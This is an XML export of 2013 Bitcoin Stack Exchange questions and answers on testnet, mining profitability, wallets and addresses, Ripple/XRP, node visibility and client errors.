  <row Id="7908" PostTypeId="1" AcceptedAnswerId="7909" CreationDate="2013-02-24T17:41:41.820" Score="8" ViewCount="6276" Body="&lt;p&gt;Other than what is listed &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;noreferrer&quot;&gt;in the wiki&lt;/a&gt;, what is the difference between the two networks?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you sell test Bitcoins for money if you could find someone willing to buy? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would happen if you tried to send test Bitcoins to a 'real' account and vice versa?&lt;/p&gt;&#xA;" OwnerUserId="1262" LastEditorDisplayName="user6398" LastEditDate="2013-12-30T19:24:44.003" LastActivityDate="2013-12-30T19:32:09.690" Title="Difference between bitcoin and testnet, really" Tags="|testnet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7909" PostTypeId="2" ParentId="7908" CreationDate="2013-02-24T18:08:23.763" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Testnet bitcoins are less widely used in commerce than mainnet, and are not perceived as intended to be a currency.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, you're unlikely to fetch a significant price though.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The transaction will not be recognized as a valid transaction. It would essentially be an irrelevant jumble. In fact the client wouldn't allow you to send anything because the address won't match the format of the respective network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-06-15T20:24:43.563" LastActivityDate="2013-06-15T20:24:43.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7910" PostTypeId="1" AcceptedAnswerId="7924" CreationDate="2013-02-24T18:28:19.780" Score="9" ViewCount="3664" Body="&lt;p&gt;Basically a program that could run some hashes for all of the different hash functions that are used in the different big cryptocurrencies and then get the current difficulty from all of them. From there you can determine how many of those coins you could be mining and look up an exchange rate from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was guessing that I should switch my GPU mining from bitcoins to litecoins, but I was just wondering if its worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking about starting to write a small script to do this automatically if nothing like it exists.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2014-01-28T21:15:08.627" Title="Is there a way to tell which *coin is most profitable to mine?" Tags="|namecoin|currencies|litecoin|peercoin|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7911" PostTypeId="2" ParentId="7910" CreationDate="2013-02-24T19:48:33.770" Score="2" Body="&lt;p&gt;Despite being an interesting and fun problem, it will be likely pointless, due to arbitrage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is at least an open exchange supporting each currency, and since we can safely assume there is at least one single bot or person exploiting arbitrage, you will most likely get the same value for every currency.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-02-24T19:48:33.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7912" PostTypeId="1" AcceptedAnswerId="7914" CreationDate="2013-02-24T20:24:37.103" Score="4" ViewCount="6201" Body="&lt;p&gt;I'm not sure I understand all of the bitcoin storage options&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are bitcoin addresses and bitcoin wallets&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what is the relationship of an address to a wallet? is a wallet mandatory and a given when talking about any bitcoin storage option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I had an account at a bitcoin exchange, how could I quickly move those coins from the exchange to the same wallet that I am using to dump the coins I mine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might not be asking the right questions, because I am not sure about the relationship between the various storage options of bitcoins (wallet, exchanges)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to understand this&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="516" LastEditDate="2013-02-24T21:38:28.460" LastActivityDate="2013-02-25T06:58:48.183" Title="How long does it take for an exchange to send me bitcoins?" Tags="|wallet|exchanges|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7913" PostTypeId="2" ParentId="7905" CreationDate="2013-02-24T21:18:08.483" Score="0" Body="&lt;p&gt;Let's say I sell baseball cards.  And today I buy one that is rare and hand over more than €10K EUR to the seller.  Do I need to explain that the &quot;anti-money laundering authorities&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is &lt;a href=&quot;http://blogdial.wordpress.com/2011/08/03/bitcoins-are-baseball-cards/&quot; rel=&quot;nofollow&quot;&gt;no&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-24T21:18:08.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7914" PostTypeId="2" ParentId="7912" CreationDate="2013-02-24T21:29:24.630" Score="3" Body="&lt;p&gt;If you have the private key that relates to an address, then you can use that to instantly make transactions with bitcoins that are stored against that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, most exchanges and online wallets provide you with a unique address without providing you with the private key for it. This is probably because they consolidate the bitcoins sent to &lt;em&gt;all&lt;/em&gt; their addresses into a single address for the exchange, which helps them reduce transaction fees and also allows them to operate with a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4169/516&quot;&gt;fractional reserve system&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In the case of a 3rd party controlling your bitcoins, you are at their mercy when it comes to the timeframe of the transaction.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some online wallet services that allow you to have the private key for your bitcoins, which gives you the ability to import the private key to your own client and spend your bitcoins. In that case, you have a good level of control over your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relationship between addresses and a wallet: one wallet can hold many addresses, and can even hold bitcoins against hidden addresses that have received &quot;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1629/why-does-bitcoin-send-the-change-to-a-different-address&quot;&gt;change&lt;/a&gt;&quot; from a previous transaction.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-02-25T06:58:48.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7916" PostTypeId="1" CreationDate="2013-02-24T22:25:37.547" Score="1" ViewCount="1102" Body="&lt;p&gt;I have a computer with a Phenom II X6 1090T 3.2 GHz, and a GT430 gfx card. Obviously I know I won't be able to mine lots of bitcoins, but I want to start getting some money for a car and such. Is the only solution to mining by getting a ASIC Machine, or people on other forums run a pool using a huge botnet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you guys can give me any tips to start, it would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="3062" LastActivityDate="2013-02-25T04:22:24.683" Title="Is mining with my computer worth it?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ClosedDate="2013-02-25T14:07:14.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="7917" PostTypeId="1" CreationDate="2013-02-24T22:33:49.410" Score="4" ViewCount="154" Body="&lt;p&gt;Is there a promise-to-pay functionality with no escrow where a seller can set a bitcoin address for buyers to send promise-to-pay bitcoins. Once seller fulfills his promise, the buyers will confirm theirs: if 50% or more of the buyers confirm their promise, seller gets the money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: An author promises to write a book if readers pay him N bitcoins.&#xA;Once author's account has N or more promise-to-pay bitcoins author publishes book.&#xA;Once 50% (this percentage can be adjusted) or more payees confirm the money goes to the author.&lt;/p&gt;&#xA;" OwnerUserId="3063" LastEditorUserId="196" LastEditDate="2013-02-25T14:11:46.403" LastActivityDate="2013-02-25T14:11:46.403" Title="Promise-to-pay functionality without escrow where sellers vote if they should pay" Tags="|escrow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7918" PostTypeId="2" ParentId="7912" CreationDate="2013-02-24T23:15:03.733" Score="1" Body="&lt;p&gt;Wallets:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Bitcoin.org client (e.g., Bitcoin-Qt) is a &lt;strong&gt;local wallet&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Most online services which provide a bitcoin account for you provide what is called a &lt;strong&gt;hosted (shared) EWallet&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Some online services provide a &lt;strong&gt;hybrid EWallet&lt;/strong&gt; which acts like a local wallet but is accessible online.  Blockchain.info/wallet is an example of this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When you use a hosted (shared) EWallet, you have no control over the funds.  When withdrawing you are simply placing a request and the provider's systems (which are usually automated) respond to the withdrawal request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally when you withdraw from a hosted (shared) EWallet, the transaction is broadcast fairly quickly -- within seconds.  Because the provider might use a cold wallet for storage of most of the service's funds, it keeps a limited amount of coins in a hot wallet to serve withdrawal requests.  It can't know in advance how many will be requested, so the level is based on whatever the provider estimates are needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it can occur that a withdrawal request cannot immediately be honored and that the hot wallet needs to be replenished with additional funds from the cold wallet.  That could take from under an hour or much longer, especially if the &quot;keys&quot; to perform that transfer are locked in a bank vault and unavailable until the next business day.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-02-24T23:15:03.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7919" PostTypeId="2" ParentId="7917" CreationDate="2013-02-24T23:35:03.327" Score="3" Body="&lt;p&gt;That is referred to as M of N transactions.  So you have 6 buyers, and at least three must agree to the transaction for the funds to be delivered to the seller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's coming.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2802&quot;&gt;Why are m-of-n transactions not used today?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-02-24T23:35:03.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7920" PostTypeId="2" ParentId="7916" CreationDate="2013-02-25T03:11:19.020" Score="4" Body="&lt;p&gt;So according to this wiki[1] your GT430 can run at 20 MHash/s. And if you plug 20 MHash/s into the mining calculator[2] you're looking at around $0.08 a day in revenue. Your daily power consumption will be larger than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or to think of that another way, the current rates mean $0.41 USD/24h@100MHash/s, and you're one-fifth of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8 cents per day. That's a long way to save for a car.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&#xA;[2] &lt;a href=&quot;http://www.bitcoinx.com/profit/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoinx.com/profit/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3065" LastEditorUserId="3065" LastEditDate="2013-02-25T04:22:24.683" LastActivityDate="2013-02-25T04:22:24.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7921" PostTypeId="1" AcceptedAnswerId="7922" CreationDate="2013-02-25T05:05:35.433" Score="1" ViewCount="210" Body="&lt;p&gt;&lt;a href=&quot;http://isup.com/&quot; rel=&quot;nofollow&quot;&gt;isup.me&lt;/a&gt; is a cool page that checks whether another page is &quot;down for everyone, or just me&quot;. Today I found my access to &lt;a href=&quot;https://ripple.com/client/&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/client/&lt;/a&gt; and &lt;a href=&quot;https://ripple.com/graph/&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/graph/&lt;/a&gt; didn't work at all, due to &quot;&lt;a href=&quot;https://github.com/rippleFoundation/ripple-client/issues/249&quot; rel=&quot;nofollow&quot;&gt;network errors&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple is p2p, so theoretically it should always be up ... however it's a young project so there might be bugs, and the server code isn't yet open sourced. What's a good way to verify the Ripple network is up, or rather &quot;is Ripple down for everyone, or just me&quot;?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-25T07:52:49.390" Title="How to verify Ripple is working?" Tags="|ripple|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7922" PostTypeId="2" ParentId="7921" CreationDate="2013-02-25T06:32:45.663" Score="4" Body="&lt;p&gt;There really isn't one yet. Currently there is only one access point into the Ripple system open to the public and there's no system monitoring on it that has public access.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-25T06:32:45.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7923" PostTypeId="1" AcceptedAnswerId="10667" CreationDate="2013-02-25T06:33:06.713" Score="5" ViewCount="7521" Body="&lt;p&gt;As far as I know the best way to buy XRP for BTC is from the Ripple client ... which requires some XRP to begin with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you own 0 XRP and some BTC, how can you get started acquiring XRP?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-05-09T14:22:14.733" Title="How can you buy XRP with BTC if you don't have any XRP?" Tags="|ripple|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7924" PostTypeId="2" ParentId="7910" CreationDate="2013-02-25T06:56:45.427" Score="8" Body="&lt;p&gt;This site allows you to compare the mining profitability of the various coins: &#xA;&lt;a href=&quot;http://dustcoin.com/mining&quot;&gt;http://dustcoin.com/mining&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2890" LastActivityDate="2013-02-25T06:56:45.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7925" PostTypeId="2" ParentId="7921" CreationDate="2013-02-25T07:52:49.390" Score="-2" Body="&lt;p&gt;There is actually a way: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download this github repo as a zip arhive &lt;a href=&quot;https://github.com/rippleFoundation/network-viewer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rippleFoundation/network-viewer&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open in your local chrome&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-02-25T07:52:49.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7926" PostTypeId="1" CreationDate="2013-02-25T09:26:43.767" Score="5" ViewCount="4054" Body="&lt;p&gt;While trying to retrieve the private key from satoshi bitcoin client i'm getting this error code:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Safe mode: Warning: Displayed transactions may not be correct! You may need to upgrade, or other nodes may need to upgrade. (code -2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It is QT VERSION 4.8.2 &amp;amp; v0.7.2-beta in the lower right hand corner it says it is catching up but has not added any blocks for a really, really, really, long time, it sitting on 90.13% . What else do you need to know?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I am Technically inept so I need to be clear so I dont screw up. I NEED THE PRIVATE KEYS for 2 ADDRESSES generated by this bitcoin-qt, when I type in dumpprivkey address I get the above error message. Will upgrading cause a conflict?  What is the proper way to upgrade as I dont see that as an option?&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="3069" LastEditorUserId="3073" LastEditDate="2013-02-25T19:26:15.360" LastActivityDate="2013-02-25T19:26:15.360" Title="How Do I Fix: &quot;Safe mode: Warning: Displayed transactions may not be correct!&quot;" Tags="|private-key|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7927" PostTypeId="2" ParentId="7926" CreationDate="2013-02-25T10:30:27.143" Score="4" Body="&lt;p&gt;Typically, this is caused by a corrupted block chain database - it causes your client to consider the real chain invalid, and try to find another one. Since the real chain remains the longest obviously, it shows this warning, as it notices its opinion differs from the rest of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is deleting blkindex.dat/blk000?.dat and let redownload the chain. In case you're running 0.8 (if not, upgrade), you can just use -reindex to rebuild the database (no downloading necessary in that case).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-02-25T10:30:27.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7928" PostTypeId="1" AcceptedAnswerId="7934" CreationDate="2013-02-25T11:40:02.063" Score="4" ViewCount="1014" Body="&lt;p&gt;As I found out from &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5487/once-a-wallet-file-is-initially-created-does-the-reference-client-generate-addi&quot;&gt;this&lt;/a&gt; question default wallet contains 100 private keys but only makes one visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I don't understand is why Bitcoin using those &quot;hidden&quot; addresses? I've been using my main address ABCDE and after some point I've noticed that my balance is spread on different private addresses which I can see in &quot;Receive coins&quot; tab. Why couldn't it just use my main address?&lt;/p&gt;&#xA;" OwnerUserId="642" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-02-25T13:03:51.567" Title="Why does Bitcoin-Qt use hidden private addresses?" Tags="|wallet|address|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7929" PostTypeId="1" CreationDate="2013-02-25T11:43:58.207" Score="5" ViewCount="1898" Body="&lt;p&gt;We are running &lt;code&gt;bitcoind&lt;/code&gt; on our server and its blockchain is synchronized with the network. Do we automatically become a node and get listed on &lt;code&gt;http://blockchain.info/connected-nodes&lt;/code&gt;, or is there something we have to do to be seen by the network?&lt;/p&gt;&#xA;" OwnerUserId="3037" LastEditorUserId="1409" LastEditDate="2013-02-25T14:59:13.237" LastActivityDate="2013-11-29T18:45:43.480" Title="How can I get my node listed on Blockchain.info's connected nodes list?" Tags="|nodes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7930" PostTypeId="2" ParentId="7929" CreationDate="2013-02-25T11:53:56.837" Score="2" Body="&lt;p&gt;Running BitcoinQT or bitcoind you are a full node in the Bitcoin Network - you receive and transmit Blocks and Transactions. Even better, if you have port 8333 open on your router and machine, other peers can connect to you which is also very useful for the Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be listed as a node connected to blockchain.info, you need to connect to their client (with a specific runtime parameter for example, or by chance). I am not aware as to what IP they are using. However, you don't need to be connected to blockchain.info to be a node - being connected to anyone else on the Network using the standard client makes you a node.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-25T11:53:56.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7931" PostTypeId="2" ParentId="5436" CreationDate="2013-02-25T12:05:55.483" Score="-2" Body="&lt;p&gt;You could invest IN bitcoins or you could invest your bitcoins.. Slight difference. There are several companies that offer cash gold silver etc investments that now allow you to invest your bitcoins too. Google finds few results as yet but they are out there. I use a non-profit investment company at www.bitcointrustgroup.org as they seem to offer good returns but on the downside they only offer long term investments if you dont want to suffer penalties for early withdrawal.&lt;/p&gt;&#xA;" OwnerUserId="3070" LastActivityDate="2013-02-25T12:05:55.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7932" PostTypeId="1" AcceptedAnswerId="7933" CreationDate="2013-02-25T12:12:48.597" Score="4" ViewCount="2258" Body="&lt;p&gt;I just created a wallet on blockchain.info by importing my wallet.dat from Bitcoin-QT. My Bitcoin-QT shows a balance of 3.991 BTC, while blockchain.info shows a balance of 3.016.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does the difference come from, and which one is 'correct'?&lt;/p&gt;&#xA;" OwnerUserId="3071" LastActivityDate="2013-02-26T12:03:34.630" Title="Why does blockchain.info show a different balance from bitcoin-qt?" Tags="|bitcoin-core|blockchain.info|balance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7933" PostTypeId="2" ParentId="7932" CreationDate="2013-02-25T12:41:52.037" Score="4" Body="&lt;p&gt;Either one of the factors may affect either balance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is a double spend against one of your accounts&lt;/li&gt;&#xA;&lt;li&gt;Some transaction might not have yet been included in a block and one program does not see it yet&lt;/li&gt;&#xA;&lt;li&gt;There can be an error in one of the programs that skipped over some transactions. In case of the client, you should try rescanning the blockchain to make sure all data is properly extracted in case you suspect an error&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should make sure your client is fully synchronised and all your transactions have at least one confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should generally trust the place where you issue your transactions from to have an accurate balance of your outgoing transactions, and blockchain.info for the information available everywhere else.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-25T12:41:52.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7934" PostTypeId="2" ParentId="7928" CreationDate="2013-02-25T13:03:51.567" Score="5" Body="&lt;p&gt;This is done so as to ensure you have all of your keys backed up. BitcoinQT uses a new address for each transaction - taking them from the pool of unused addresses. However, as there is a pool of those addresses always kept in the file, even if you back it up every 100 transactions, you can still recover all of your money. If you would only be keeping the addresses you use and geenrate new ones on the fly, you would need to back them up each time you send coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main client does not reuse the same addresses to increase your privacy - one would not be able to tell who you would be sending money to, and which address you would own. It's privacy by default, rather than on demand.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-25T13:03:51.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7935" PostTypeId="2" ParentId="2972" CreationDate="2013-02-25T13:29:38.450" Score="0" Body="&lt;p&gt;I think &lt;a href=&quot;https://www.weexchange.co/main.php&quot; rel=&quot;nofollow&quot;&gt;WeExchange&lt;/a&gt; accepts AUD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I personally wouldn't recommend it, since for me it has shown some worrying login problems.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-02-25T13:29:38.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7936" PostTypeId="2" ParentId="7929" CreationDate="2013-02-25T13:40:20.400" Score="-1" Body="&lt;p&gt;A Swiss University became a supernode, and I think that was by actively connecting to a number of sources that also ran BitcoinQT on their servers. However I don't know how many connections would classify you as supernode. I don't think there is a specific definition. Just actively connect to a number of sources and it should show you as supernode in the stats. &lt;/p&gt;&#xA;" OwnerUserId="3072" LastEditorUserId="5822" LastEditDate="2013-11-29T18:45:43.480" LastActivityDate="2013-11-29T18:45:43.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7937" PostTypeId="2" ParentId="7923" CreationDate="2013-02-25T14:10:10.537" Score="3" Body="&lt;p&gt;Dealing with someone directly might be your best bet: he would send you the ripples you need, and you would send him the bitcoins. This works because you don't need ripples to receive ripples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to wait for OpenCoin (Ripple's owners) to open another faucet: the only one opened so far granted some ripples to the users of &lt;a href=&quot;https://bitcointalk.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin's forum&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-02-25T14:10:10.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7938" PostTypeId="2" ParentId="7868" CreationDate="2013-02-25T15:07:17.420" Score="4" Body="&lt;p&gt;Probably the reason why it is not added is because it wasn't considered &quot;one of the main ones&quot; whatever that means. You can write ILS yourself though: you can use whatever three letter code you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice trusts Bob for 10 XYZ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice and Bob know what XYZ represent. If you and your friends (ripple neighbors) use ILS, you know it represents New Israeli Shekels, the system only needs to know that it is the same currency so that it can apply a 1:1 exchange rate.&#xA;For more information on this, read this issue and this forum post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rippleFoundation/ripple-client/issues/77&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rippleFoundation/ripple-client/issues/77&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=1&amp;amp;t=7&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/forum/viewtopic.php?f=1&amp;amp;t=7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: To trade ILS, manually edit the text within the selector for the currency pair. For example, substitute &quot;XRP/BTC&quot; for &quot;BTC/ILS&quot; and that's it. Of course you need to specify the issuer for ILS and BTC as always.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: Now currencies will be ordered upon usage. The more you use a currency, the higher it will appear on the selector's list.&#xA;&lt;a href=&quot;https://github.com/rippleFoundation/ripple-client/commit/1a44e94844d6948d103e31c6121dcb71d5b65ef1&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rippleFoundation/ripple-client/commit/1a44e94844d6948d103e31c6121dcb71d5b65ef1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="192" LastEditDate="2013-03-05T14:47:15.160" LastActivityDate="2013-03-05T14:47:15.160" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7939" PostTypeId="1" AcceptedAnswerId="7944" CreationDate="2013-02-25T15:25:54.363" Score="6" ViewCount="274" Body="&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7923/how-can-you-buy-xrp-with-btc-if-you-dont-have-any-xrp/7937#7937&quot;&gt;How can you buy XRP with BTC if you don&amp;#39;t have any XRP?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, there's no way to open an account with direct access to XRP. Could the ripple protocol be modified to include a way to open an account with BTC instead of XRP? The BTC would be exchange to XRP in the distributed exchange using the best available exchange rate.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-04-18T10:43:28.100" Title="Could the Ripple protocol be modified to allow funding your initial account with BTC?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7940" PostTypeId="1" AcceptedAnswerId="8785" CreationDate="2013-02-25T15:27:33.503" Score="8" ViewCount="8863" Body="&lt;p&gt;There are instructions for building on Ubuntu/Debian, but I want to build it in Fedora. &lt;/p&gt;&#xA;" OwnerUserId="2143" LastEditorUserId="2306" LastEditDate="2013-02-25T15:44:01.187" LastActivityDate="2020-01-06T18:44:10.663" Title="How do I build Bitcoin in Fedora 18?" Tags="|installation|compiling|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7942" PostTypeId="1" CreationDate="2013-02-25T16:59:09.177" Score="6" ViewCount="2000" Body="&lt;p&gt;Using the daemon and not a 3rd party pinging service, what is the best way to get notified of new payments?&#xA;Do we need to constantly poll the server?&lt;/p&gt;&#xA;" OwnerUserId="3014" LastActivityDate="2013-05-28T14:31:01.463" Title="What is the best way to get notified of new payments received" Tags="|bitcoind|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7944" PostTypeId="2" ParentId="7939" CreationDate="2013-02-25T21:38:13.353" Score="6" Body="&lt;p&gt;The problem is that you need an account to hold BTC in the Ripple network. There is no known practical way to allow Bitcoins to transact directly on another network without a central authority to hold the keys that release the Bitcoins on the Bitcoin blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully, this should only be an issue for a short period of time. Once billions of XRP have been given away, there shouldn't be any significant difficulty in getting enough XRP to open an account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: The &lt;a href=&quot;https://ripple.com/wiki/Gateway_API&quot; rel=&quot;nofollow&quot;&gt;gateway protocol&lt;/a&gt; could be used to do this, allowing you to do your initial account funding right from a Bitcoin account.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-18T10:43:28.100" LastActivityDate="2013-04-18T10:43:28.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
